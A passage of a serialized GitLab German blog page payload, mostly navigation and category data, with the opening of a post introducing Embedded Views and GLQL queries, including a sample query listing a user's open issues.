[{"data":1,"prerenderedAt":1212},["ShallowReactive",2],{"/de-de/blog/":3,"navigation-de-de":21,"banner-de-de":440,"footer-de-de":453,"blogCategories-de-de":662,"relatedBlogPosts-de-de":780,"maineFeaturedPost-de-de":1168,"recentFeaturedPosts-de-de":1173,"recentPosts-de-de":1189},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":13,"_id":15,"_type":16,"title":7,"_source":17,"_file":18,"_stem":19,"_extension":20},"/de-de/blog","de-de",false,"",{"title":9,"description":10},"Blog","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.",{"title":12},"GitLab Blog",{"template":14},"BlogHome","content:de-de:blog:index.yml","yaml","content","de-de/blog/index.yml","de-de/blog/index","yml",{"_path":22,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"data":23,"_id":436,"_type":16,"title":437,"_source":17,"_file":438,"_stem":439,"_extension":20},"/shared/de-de/main-navigation",{"logo":24,"freeTrial":29,"sales":34,"login":39,"items":44,"search":377,"minimal":413,"duo":427},{"config":25},{"href":26,"dataGaName":27,"dataGaLocation":28},"/de-de/","gitlab logo","header",{"text":30,"config":31},"Kostenlose Testversion anfordern",{"href":32,"dataGaName":33,"dataGaLocation":28},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":35,"config":36},"Vertrieb kontaktieren",{"href":37,"dataGaName":38,"dataGaLocation":28},"/de-de/sales/","sales",{"text":40,"config":41},"Anmelden",{"href":42,"dataGaName":43,"dataGaLocation":28},"https://gitlab.com/users/sign_in/","sign in",[45,89,188,193,298,358],{"text":46,"config":47,"cards":49,"footer":72},"Plattform",{"dataNavLevelOne":48},"platform",[50,56,64],{"title":46,"description":51,"link":52},"Die umfassendste KI-basierte DevSecOps-Plattform",{"text":53,"config":54},"Erkunde unsere Plattform",{"href":55,"dataGaName":48,"dataGaLocation":28},"/de-de/platform/",{"title":57,"description":58,"link":59},"GitLab Duo (KI)","Entwickle Software schneller mit KI in jeder Phase der Entwicklung",{"text":60,"config":61},"Lerne GitLab Duo kennen",{"href":62,"dataGaName":63,"dataGaLocation":28},"/de-de/gitlab-duo/","gitlab duo ai",{"title":65,"description":66,"link":67},"Gründe, die für GitLab sprechen","10 Gründe, warum Unternehmen sich für GitLab entscheiden",{"text":68,"config":69},"Mehr erfahren",{"href":70,"dataGaName":71,"dataGaLocation":28},"/de-de/why-gitlab/","why gitlab",{"title":73,"items":74},"Erste Schritte mit",[75,80,85],{"text":76,"config":77},"Platform Engineering",{"href":78,"dataGaName":79,"dataGaLocation":28},"/de-de/solutions/platform-engineering/","platform engineering",{"text":81,"config":82},"Entwicklererfahrung",{"href":83,"dataGaName":84,"dataGaLocation":28},"/de-de/developer-experience/","Developer experience",{"text":86,"config":87},"MLOps",{"href":88,"dataGaName":86,"dataGaLocation":28},"/de-de/topics/devops/the-role-of-ai-in-devops/",{"text":90,"left":91,"config":92,"link":94,"lists":98,"footer":170},"Produkt",true,{"dataNavLevelOne":93},"solutions",{"text":95,"config":96},"Alle Lösungen anzeigen",{"href":97,"dataGaName":93,"dataGaLocation":28},"/de-de/solutions/",[99,125,148],{"title":100,"description":101,"link":102,"items":107},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":103},{"icon":104,"href":105,"dataGaName":106,"dataGaLocation":28},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[108,112,116,121],{"text":109,"config":110},"CI/CD",{"href":111,"dataGaLocation":28,"dataGaName":109},"/de-de/solutions/continuous-integration/",{"text":113,"config":114},"KI-unterstützte Entwicklung",{"href":62,"dataGaLocation":28,"dataGaName":115},"AI assisted development",{"text":117,"config":118},"Quellcodeverwaltung",{"href":119,"dataGaLocation":28,"dataGaName":120},"/de-de/solutions/source-code-management/","Source Code Management",{"text":122,"config":123},"Automatisierte Softwarebereitstellung",{"href":105,"dataGaLocation":28,"dataGaName":124},"Automated software delivery",{"title":126,"description":127,"link":128,"items":133},"Sicherheit","Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":129},{"href":130,"dataGaName":131,"dataGaLocation":28,"icon":132},"/de-de/solutions/security-compliance/","security and compliance","ShieldCheckLight",[134,139,144],{"text":135,"config":136},"Application Security Testing",{"href":137,"dataGaName":138,"dataGaLocation":28},"/solutions/application-security-testing/","Application security testing",{"text":140,"config":141},"Schutz der Software-Lieferkette",{"href":142,"dataGaLocation":28,"dataGaName":143},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":145,"config":146},"Software Compliance",{"href":147,"dataGaName":145,"dataGaLocation":28},"/solutions/software-compliance/",{"title":149,"link":150,"items":155},"Bewertung",{"config":151},{"icon":152,"href":153,"dataGaName":154,"dataGaLocation":28},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[156,160,165],{"text":157,"config":158},"Sichtbarkeit und Bewertung",{"href":153,"dataGaLocation":28,"dataGaName":159},"Visibility and Measurement",{"text":161,"config":162},"Wertstrommanagement",{"href":163,"dataGaLocation":28,"dataGaName":164},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":166,"config":167},"Analysen und Einblicke",{"href":168,"dataGaLocation":28,"dataGaName":169},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":171,"items":172},"GitLab für",[173,178,183],{"text":174,"config":175},"Enterprise",{"href":176,"dataGaLocation":28,"dataGaName":177},"/de-de/enterprise/","enterprise",{"text":179,"config":180},"Kleinunternehmen",{"href":181,"dataGaLocation":28,"dataGaName":182},"/de-de/small-business/","small business",{"text":184,"config":185},"den öffentlichen Sektor",{"href":186,"dataGaLocation":28,"dataGaName":187},"/de-de/solutions/public-sector/","public sector",{"text":189,"config":190},"Preise",{"href":191,"dataGaName":192,"dataGaLocation":28,"dataNavLevelOne":192},"/de-de/pricing/","pricing",{"text":194,"config":195,"link":197,"lists":201,"feature":285},"Ressourcen",{"dataNavLevelOne":196},"resources",{"text":198,"config":199},"Alle Ressourcen anzeigen",{"href":200,"dataGaName":196,"dataGaLocation":28},"/de-de/resources/",[202,235,257],{"title":203,"items":204},"Erste Schritte",[205,210,215,220,225,230],{"text":206,"config":207},"Installieren",{"href":208,"dataGaName":209,"dataGaLocation":28},"/de-de/install/","install",{"text":211,"config":212},"Kurzanleitungen",{"href":213,"dataGaName":214,"dataGaLocation":28},"/de-de/get-started/","quick setup checklists",{"text":216,"config":217},"Lernen",{"href":218,"dataGaLocation":28,"dataGaName":219},"https://university.gitlab.com/","learn",{"text":221,"config":222},"Produktdokumentation",{"href":223,"dataGaName":224,"dataGaLocation":28},"https://docs.gitlab.com/","product documentation",{"text":226,"config":227},"Best-Practice-Videos",{"href":228,"dataGaName":229,"dataGaLocation":28},"/de-de/getting-started-videos/","best practice videos",{"text":231,"config":232},"Integrationen",{"href":233,"dataGaName":234,"dataGaLocation":28},"/de-de/integrations/","integrations",{"title":236,"items":237},"Entdecken",[238,243,247,252],{"text":239,"config":240},"Kundenerfolge",{"href":241,"dataGaName":242,"dataGaLocation":28},"/de-de/customers/","customer success stories",{"text":9,"config":244},{"href":245,"dataGaName":246,"dataGaLocation":28},"/de-de/blog/","blog",{"text":248,"config":249},"Remote",{"href":250,"dataGaName":251,"dataGaLocation":28},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":253,"config":254},"TeamOps",{"href":255,"dataGaName":256,"dataGaLocation":28},"/de-de/teamops/","teamops",{"title":258,"items":259},"Vernetzen",[260,265,270,275,280],{"text":261,"config":262},"GitLab-Services",{"href":263,"dataGaName":264,"dataGaLocation":28},"/de-de/services/","services",{"text":266,"config":267},"Community",{"href":268,"dataGaName":269,"dataGaLocation":28},"/community/","community",{"text":271,"config":272},"Forum",{"href":273,"dataGaName":274,"dataGaLocation":28},"https://forum.gitlab.com/","forum",{"text":276,"config":277},"Veranstaltungen",{"href":278,"dataGaName":279,"dataGaLocation":28},"/events/","events",{"text":281,"config":282},"Partner",{"href":283,"dataGaName":284,"dataGaLocation":28},"/partners/","partners",{"backgroundColor":286,"textColor":287,"text":288,"image":289,"link":293},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":290,"config":291},"the source promo card",{"src":292},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":294,"config":295},"Lies die News",{"href":296,"dataGaName":297,"dataGaLocation":28},"/de-de/the-source/","the source",{"text":299,"config":300,"lists":302},"Unternehmen",{"dataNavLevelOne":301},"company",[303],{"items":304},[305,310,316,318,323,328,333,338,343,348,353],{"text":306,"config":307},"Über",{"href":308,"dataGaName":309,"dataGaLocation":28},"/de-de/company/","about",{"text":311,"config":312,"footerGa":315},"Karriere",{"href":313,"dataGaName":314,"dataGaLocation":28},"/jobs/","jobs",{"dataGaName":314},{"text":276,"config":317},{"href":278,"dataGaName":279,"dataGaLocation":28},{"text":319,"config":320},"Geschäftsführung",{"href":321,"dataGaName":322,"dataGaLocation":28},"/company/team/e-group/","leadership",{"text":324,"config":325},"Team",{"href":326,"dataGaName":327,"dataGaLocation":28},"/company/team/","team",{"text":329,"config":330},"Handbuch",{"href":331,"dataGaName":332,"dataGaLocation":28},"https://handbook.gitlab.com/","handbook",{"text":334,"config":335},"Investor Relations",{"href":336,"dataGaName":337,"dataGaLocation":28},"https://ir.gitlab.com/","investor relations",{"text":339,"config":340},"Trust Center",{"href":341,"dataGaName":342,"dataGaLocation":28},"/de-de/security/","trust center",{"text":344,"config":345},"AI Transparency Center",{"href":346,"dataGaName":347,"dataGaLocation":28},"/de-de/ai-transparency-center/","ai transparency center",{"text":349,"config":350},"Newsletter",{"href":351,"dataGaName":352,"dataGaLocation":28},"/company/contact/","newsletter",{"text":354,"config":355},"Presse",{"href":356,"dataGaName":357,"dataGaLocation":28},"/press/","press",{"text":359,"config":360,"lists":361},"Kontakt",{"dataNavLevelOne":301},[362],{"items":363},[364,367,372],{"text":35,"config":365},{"href":37,"dataGaName":366,"dataGaLocation":28},"talk to sales",{"text":368,"config":369},"Support",{"href":370,"dataGaName":371,"dataGaLocation":28},"/support/","get help",{"text":373,"config":374},"Kundenportal",{"href":375,"dataGaName":376,"dataGaLocation":28},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":378,"login":379,"suggestions":386},"Schließen",{"text":380,"link":381},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":382,"config":383},"gitlab.com",{"href":42,"dataGaName":384,"dataGaLocation":385},"search login","search",{"text":387,"default":388},"Vorschläge",[389,392,397,399,404,409],{"text":57,"config":390},{"href":62,"dataGaName":391,"dataGaLocation":385},"GitLab Duo (AI)",{"text":393,"config":394},"Code Suggestions (KI)",{"href":395,"dataGaName":396,"dataGaLocation":385},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":109,"config":398},{"href":111,"dataGaName":109,"dataGaLocation":385},{"text":400,"config":401},"GitLab auf AWS",{"href":402,"dataGaName":403,"dataGaLocation":385},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":405,"config":406},"GitLab auf Google Cloud",{"href":407,"dataGaName":408,"dataGaLocation":385},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":410,"config":411},"Warum GitLab?",{"href":70,"dataGaName":412,"dataGaLocation":385},"Why GitLab?",{"freeTrial":414,"mobileIcon":419,"desktopIcon":424},{"text":415,"config":416},"Kostenlos testen",{"href":417,"dataGaName":33,"dataGaLocation":418},"https://gitlab.com/-/trials/new/","nav",{"altText":420,"config":421},"GitLab-Symbol",{"src":422,"dataGaName":423,"dataGaLocation":418},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":420,"config":425},{"src":426,"dataGaName":423,"dataGaLocation":418},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"freeTrial":428,"mobileIcon":432,"desktopIcon":434},{"text":429,"config":430},"Erfahre mehr über GitLab Duo",{"href":62,"dataGaName":431,"dataGaLocation":418},"gitlab duo",{"altText":420,"config":433},{"src":422,"dataGaName":423,"dataGaLocation":418},{"altText":420,"config":435},{"src":426,"dataGaName":423,"dataGaLocation":418},"content:shared:de-de:main-navigation.yml","Main Navigation","shared/de-de/main-navigation.yml","shared/de-de/main-navigation",{"_path":441,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":442,"button":443,"config":448,"_id":450,"_type":16,"_source":17,"_file":451,"_stem":452,"_extension":20},"/shared/de-de/banner","GitLab Duo Agent Platform ist jetzt in öffentlicher Beta!",{"text":444,"config":445},"Beta testen",{"href":446,"dataGaName":447,"dataGaLocation":28},"/de-de/gitlab-duo/agent-platform/","duo banner",{"layout":449},"release","content:shared:de-de:banner.yml","shared/de-de/banner.yml","shared/de-de/banner",{"_path":454,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"data":455,"_id":658,"_type":16,"title":659,"_source":17,"_file":660,"_stem":661,"_extension":20},"/shared/de-de/main-footer",{"text":456,"source":457,"edit":463,"contribute":468,"config":473,"items":478,"minimal":650},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":458,"config":459},"Quelltext der Seite anzeigen",{"href":460,"dataGaName":461,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":464,"config":465},"Diese Seite bearbeiten",{"href":466,"dataGaName":467,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":469,"config":470},"Beteilige dich",{"href":471,"dataGaName":472,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":474,"facebook":475,"youtube":476,"linkedin":477},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[479,502,557,586,620],{"title":46,"links":480,"subMenu":485},[481],{"text":482,"config":483},"DevSecOps-Plattform",{"href":55,"dataGaName":484,"dataGaLocation":462},"devsecops platform",[486],{"title":189,"links":487},[488,492,497],{"text":489,"config":490},"Tarife anzeigen",{"href":191,"dataGaName":491,"dataGaLocation":462},"view plans",{"text":493,"config":494},"Vorteile von Premium",{"href":495,"dataGaName":496,"dataGaLocation":462},"/de-de/pricing/premium/","why premium",{"text":498,"config":499},"Vorteile von Ultimate",{"href":500,"dataGaName":501,"dataGaLocation":462},"/de-de/pricing/ultimate/","why ultimate",{"title":503,"links":504},"Lösungen",[505,510,513,515,520,525,529,532,535,540,542,544,547,552],{"text":506,"config":507},"Digitale Transformation",{"href":508,"dataGaName":509,"dataGaLocation":462},"/de-de/topics/digital-transformation/","digital transformation",{"text":511,"config":512},"Sicherheit und Compliance",{"href":137,"dataGaName":138,"dataGaLocation":462},{"text":122,"config":514},{"href":105,"dataGaName":106,"dataGaLocation":462},{"text":516,"config":517},"Agile Entwicklung",{"href":518,"dataGaName":519,"dataGaLocation":462},"/de-de/solutions/agile-delivery/","agile delivery",{"text":521,"config":522},"Cloud-Transformation",{"href":523,"dataGaName":524,"dataGaLocation":462},"/de-de/topics/cloud-native/","cloud transformation",{"text":526,"config":527},"SCM",{"href":119,"dataGaName":528,"dataGaLocation":462},"source code management",{"text":109,"config":530},{"href":111,"dataGaName":531,"dataGaLocation":462},"continuous integration & delivery",{"text":161,"config":533},{"href":163,"dataGaName":534,"dataGaLocation":462},"value stream management",{"text":536,"config":537},"GitOps",{"href":538,"dataGaName":539,"dataGaLocation":462},"/de-de/solutions/gitops/","gitops",{"text":174,"config":541},{"href":176,"dataGaName":177,"dataGaLocation":462},{"text":179,"config":543},{"href":181,"dataGaName":182,"dataGaLocation":462},{"text":545,"config":546},"Öffentlicher Sektor",{"href":186,"dataGaName":187,"dataGaLocation":462},{"text":548,"config":549},"Bildungswesen",{"href":550,"dataGaName":551,"dataGaLocation":462},"/de-de/solutions/education/","education",{"text":553,"config":554},"Finanzdienstleistungen",{"href":555,"dataGaName":556,"dataGaLocation":462},"/de-de/solutions/finance/","financial services",{"title":194,"links":558},[559,561,563,565,568,570,572,574,576,578,580,582,584],{"text":206,"config":560},{"href":208,"dataGaName":209,"dataGaLocation":462},{"text":211,"config":562},{"href":213,"dataGaName":214,"dataGaLocation":462},{"text":216,"config":564},{"href":218,"dataGaName":219,"dataGaLocation":462},{"text":221,"config":566},{"href":223,"dataGaName":567,"dataGaLocation":462},"docs",{"text":9,"config":569},{"href":245,"dataGaName":246,"dataGaLocation":462},{"text":239,"config":571},{"href":241,"dataGaName":242,"dataGaLocation":462},{"text":248,"config":573},{"href":250,"dataGaName":251,"dataGaLocation":462},{"text":261,"config":575},{"href":263,"dataGaName":264,"dataGaLocation":462},{"text":253,"config":577},{"href":255,"dataGaName":256,"dataGaLocation":462},{"text":266,"config":579},{"href":268,"dataGaName":269,"dataGaLocation":462},{"text":271,"config":581},{"href":273,"dataGaName":274,"dataGaLocation":462},{"text":276,"config":583},{"href":278,"dataGaName":279,"dataGaLocation":462},{"text":281,"config":585},{"href":283,"dataGaName":284,"dataGaLocation":462},{"title":299,"links":587},[588,590,592,594,596,598,600,604,609,611,613,615],{"text":306,"config":589},{"href":308,"dataGaName":301,"dataGaLocation":462},{"text":311,"config":591},{"href":313,"dataGaName":314,"dataGaLocation":462},{"text":319,"config":593},{"href":321,"dataGaName":322,"dataGaLocation":462},{"text":324,"config":595},{"href":326,"dataGaName":327,"dataGaLocation":462},{"text":329,"config":597},{"href":331,"dataGaName":332,"dataGaLocation":462},{"text":334,"config":599},{"href":336,"dataGaName":337,"dataGaLocation":462},{"text":601,"config":602},"Sustainability",{"href":603,"dataGaName":601,"dataGaLocation":462},"/sustainability/",{"text":605,"config":606},"Vielfalt, Inklusion und Zugehörigkeit",{"href":607,"dataGaName":608,"dataGaLocation":462},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":339,"config":610},{"href":341,"dataGaName":342,"dataGaLocation":462},{"text":349,"config":612},{"href":351,"dataGaName":352,"dataGaLocation":462},{"text":354,"config":614},{"href":356,"dataGaName":357,"dataGaLocation":462},{"text":616,"config":617},"Transparenzerklärung zu moderner Sklaverei",{"href":618,"dataGaName":619,"dataGaLocation":462},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":621,"links":622},"Nimm Kontakt auf",[623,626,628,630,635,640,645],{"text":624,"config":625},"Sprich mit einem Experten/einer Expertin",{"href":37,"dataGaName":38,"dataGaLocation":462},{"text":368,"config":627},{"href":370,"dataGaName":371,"dataGaLocation":462},{"text":373,"config":629},{"href":375,"dataGaName":376,"dataGaLocation":462},{"text":631,"config":632},"Status",{"href":633,"dataGaName":634,"dataGaLocation":462},"https://status.gitlab.com/","status",{"text":636,"config":637},"Nutzungsbedingungen",{"href":638,"dataGaName":639,"dataGaLocation":462},"/terms/","terms of use",{"text":641,"config":642},"Datenschutzerklärung",{"href":643,"dataGaName":644,"dataGaLocation":462},"/de-de/privacy/","privacy statement",{"text":646,"config":647},"Cookie-Einstellungen",{"dataGaName":648,"dataGaLocation":462,"id":649,"isOneTrustButton":91},"cookie preferences","ot-sdk-btn",{"items":651},[652,654,656],{"text":636,"config":653},{"href":638,"dataGaName":639,"dataGaLocation":462},{"text":641,"config":655},{"href":643,"dataGaName":644,"dataGaLocation":462},{"text":646,"config":657},{"dataGaName":648,"dataGaLocation":462,"id":649,"isOneTrustButton":91},"content:shared:de-de:main-footer.yml","Main Footer","shared/de-de/main-footer.yml","shared/de-de/main-footer",[663,676,688,700,712,724,735,747,758,769],{"_path":664,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":666,"content":669,"config":670,"_id":673,"_type":16,"title":667,"_source":17,"_file":674,"_stem":675,"_extension":20},"/de-de/blog/categories/agile-planning","categories",{"title":667,"description":668},"Agile Planning","Browse articles related to Agile Planning on the GitLab Blog",{"name":667},{"template":671,"slug":672,"hide":6},"BlogCategory","agile-planning","content:de-de:blog:categories:agile-planning.yml","de-de/blog/categories/agile-planning.yml","de-de/blog/categories/agile-planning",{"_path":677,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":678,"content":681,"config":682,"_id":684,"_type":16,"title":685,"_source":17,"_file":686,"_stem":687,"_extension":20},"/de-de/blog/categories/ai-ml",{"title":679,"description":680},"KI/ML","Browse articles related to KI/ML on the GitLab Blog",{"name":679},{"template":671,"slug":683,"hide":6},"ai-ml","content:de-de:blog:categories:ai-ml.yml","Ai Ml","de-de/blog/categories/ai-ml.yml","de-de/blog/categories/ai-ml",{"_path":689,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":690,"content":693,"config":694,"_id":696,"_type":16,"title":697,"_source":17,"_file":698,"_stem":699,"_extension":20},"/de-de/blog/categories/bulletin-board",{"title":691,"description":692},"Ankündigungen","Browse articles related to Ankündigungen on the GitLab Blog",{"name":691},{"template":671,"slug":695,"hide":6},"bulletin-board","content:de-de:blog:categories:bulletin-board.yml","Bulletin Board","de-de/blog/categories/bulletin-board.yml","de-de/blog/categories/bulletin-board",{"_path":701,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":702,"content":705,"config":706,"_id":708,"_type":16,"title":709,"_source":17,"_file":710,"_stem":711,"_extension":20},"/de-de/blog/categories/customer-stories",{"title":703,"description":704},"Kundenstories","Browse articles related to Kundenstories on the GitLab Blog",{"name":703},{"template":671,"slug":707,"hide":6},"customer-stories","content:de-de:blog:categories:customer-stories.yml","Customer Stories","de-de/blog/categories/customer-stories.yml","de-de/blog/categories/customer-stories",{"_path":713,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":714,"content":717,"config":718,"_id":720,"_type":16,"title":721,"_source":17,"_file":722,"_stem":723,"_extension":20},"/de-de/blog/categories/devsecops",{"title":715,"description":716},"DevSecOps","Browse articles related to DevSecOps on the GitLab Blog",{"name":715},{"template":671,"slug":719,"hide":6},"devsecops","content:de-de:blog:categories:devsecops.yml","Devsecops","de-de/blog/categories/devsecops.yml","de-de/blog/categories/devsecops",{"_path":725,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":726,"content":729,"config":730,"_id":732,"_type":16,"title":727,"_source":17,"_file":733,"_stem":734,"_extension":20},"/de-de/blog/categories/engineering",{"title":727,"description":728},"Engineering","Browse articles related to Engineering on the GitLab Blog",{"name":727},{"template":671,"slug":731,"hide":6},"engineering","content:de-de:blog:categories:engineering.yml","de-de/blog/categories/engineering.yml","de-de/blog/categories/engineering",{"_path":736,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":737,"content":740,"config":741,"_id":743,"_type":16,"title":744,"_source":17,"_file":745,"_stem":746,"_extension":20},"/de-de/blog/categories/news",{"title":738,"description":739},"Neuheiten","Browse articles related to Neuheiten on the GitLab Blog",{"name":738},{"template":671,"slug":742,"hide":6},"news","content:de-de:blog:categories:news.yml","News","de-de/blog/categories/news.yml","de-de/blog/categories/news",{"_path":748,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":749,"content":752,"config":753,"_id":755,"_type":16,"title":750,"_source":17,"_file":756,"_stem":757,"_extension":20},"/de-de/blog/categories/open-source",{"title":750,"description":751},"Open Source","Browse articles related to Open Source on the GitLab Blog",{"name":750},{"template":671,"slug":754,"hide":6},"open-source","content:de-de:blog:categories:open-source.yml","de-de/blog/categories/open-source.yml","de-de/blog/categories/open-source",{"_path":759,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":760,"content":762,"config":763,"_id":765,"_type":16,"title":766,"_source":17,"_file":767,"_stem":768,"_extension":20},"/de-de/blog/categories/product",{"title":90,"description":761},"Browse articles related to Produkt on the GitLab Blog",{"name":90},{"template":671,"slug":764,"hide":6},"product","content:de-de:blog:categories:product.yml","Product","de-de/blog/categories/product.yml","de-de/blog/categories/product",{"_path":770,"_dir":665,"_draft":6,"_partial":6,"_locale":7,"seo":771,"content":773,"config":774,"_id":776,"_type":16,"title":777,"_source":17,"_file":778,"_stem":779,"_extension":20},"/de-de/blog/categories/security",{"title":126,"description":772},"Browse articles related to Sicherheit on the GitLab Blog",{"name":126},{"template":671,"slug":775,"hide":6},"security","content:de-de:blog:categories:security.yml","Security","de-de/blog/categories/security.yml","de-de/blog/categories/security",[781,829,869,884,931,971,1013,1053,1092,1130],{"category":667,"slug":672,"posts":782},[783,802,814],{"content":784,"config":799},{"heroImage":785,"body":786,"authors":787,"updatedDate":791,"date":792,"title":793,"tags":794,"description":798,"category":672},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur\num den\n\nÜberblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du\n\neine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um\n\nzu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser\n\nvoller Tabs und du hast den roten Faden verloren.\n\n\nKeine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.\n\n\nDeshalb haben wir [Embedded Views](https://docs.gitlab.com/user/glql/#embedded-views) entwickelt, angetrieben von [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). Mit Embedded Views, [verfügbar ab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.\n\n\n## Warum Embedded Views wichtig sind\n\n\nEmbedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.\n\n\n## So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden\n\n\nMit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:\n\n\n### Immer aktuell\n\n\nGLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.\n\n\n### Kontextbezogenes Bewusstsein\n\n\nVerwende Funktionen wie `currentUser()` und `today()`, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.\n\n\n### Leistungsstarke Filterung\n\n\nFilter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.\n\n\n### Anpassbare Anzeige\n\n\nDu kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.\n\n\n### Verfügbarkeit\n\n\nDu kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.\n\n\n## Embedded Views in Aktion erleben\n\n\nDie Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:\n\n\n* Dem `query`-Parameter: Ausdrücke, die mit einem logischen Operator wie `and` verbunden werden.\n\n* Parametern für die Präsentationsebene wie `display`, `limit` oder `fields`, `title` und `description`,\n  dargestellt als YAML.\n\nEine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.\n\n\nZum Beispiel:\n\n\n> Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in `gitlab-org/gitlab` zugewiesen sind.\n\n>\n\n> Zeige die Spalten `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight` und `updated`.\n\n\n````yaml\n\n```glql\n\n\ndisplay: table\n\n\ntitle: GLQL-Tabelle 🎉\n\n\ndescription: Diese Ansicht listet meine offenen Issues auf\n\n\nfields: title, state, health, epic, milestone, weight, updated\n\n\nlimit: 5\n\n\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n\n\n```\n\n````\n\n\nDiese Quelle sollte eine Tabelle wie die folgende 